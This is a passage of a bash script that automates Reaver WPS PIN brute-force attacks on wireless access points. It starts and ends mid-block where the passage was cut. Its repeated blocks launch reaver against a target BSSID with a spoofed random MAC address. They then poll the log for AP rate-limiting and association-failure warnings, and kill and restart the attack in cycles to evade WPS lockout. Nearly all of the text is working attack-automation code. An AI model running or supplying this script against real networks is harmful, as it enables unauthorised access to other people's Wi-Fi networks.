	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME3-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME3-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME3-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP3 (ESSID: $NMEWARN3)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE3 == n ] || [ $KEEP_FILE3 == N ]; then

          rm VARMAC_LOGS/$NAME3-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R4 == n || $USE_R4 == N ]] && [[ $USE_LONG4 == n || $USE_LONG4 == N ]] && [[ $USE_PIN4 == n || $USE_PIN4 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME4"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL4"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP4"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE4 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME4-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL4 -b $TARGETAP4 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME4-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE4-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R4 == y || $USE_R4 == Y ]] && [[ $USE_LONG4 == n || $USE_LONG4 == N ]] && [[ $USE_PIN4 == n || $USE_PIN4 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME4"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL4"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP4"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX4" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY4"
echo -e "$info Reaver live time                   = $yel$LIVE4 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME4-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL4 -b $TARGETAP4 -vv -x 60 -r $RX4:$RY4 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME4-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE4-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R4 == n || $USE_R4 == N ]] && [[ $USE_LONG4 == y || $USE_LONG4 == Y ]] && [[ $USE_PIN4 == n || $USE_PIN4 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME4"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL4"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP4"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE4 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME4-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL4 -b $TARGETAP4 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME4-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE4-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R4 == y || $USE_R4 == Y ]] && [[ $USE_LONG4 == y || $USE_LONG4 == Y ]] && [[ $USE_PIN4 == n || $USE_PIN4 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME4"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL4"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP4"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX4" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY4"
echo -e "$info Reaver live time                   = $yel$LIVE4 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME4-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL4 -b $TARGETAP4 -r $RX4:$RY4 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME4-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE4-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R4 == n || $USE_R4 == N ]] && [[ $USE_LONG4 == n || $USE_LONG4 == N ]] && [[ $USE_PIN4 == y || $USE_PIN4 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME4"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL4"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP4"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE4 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
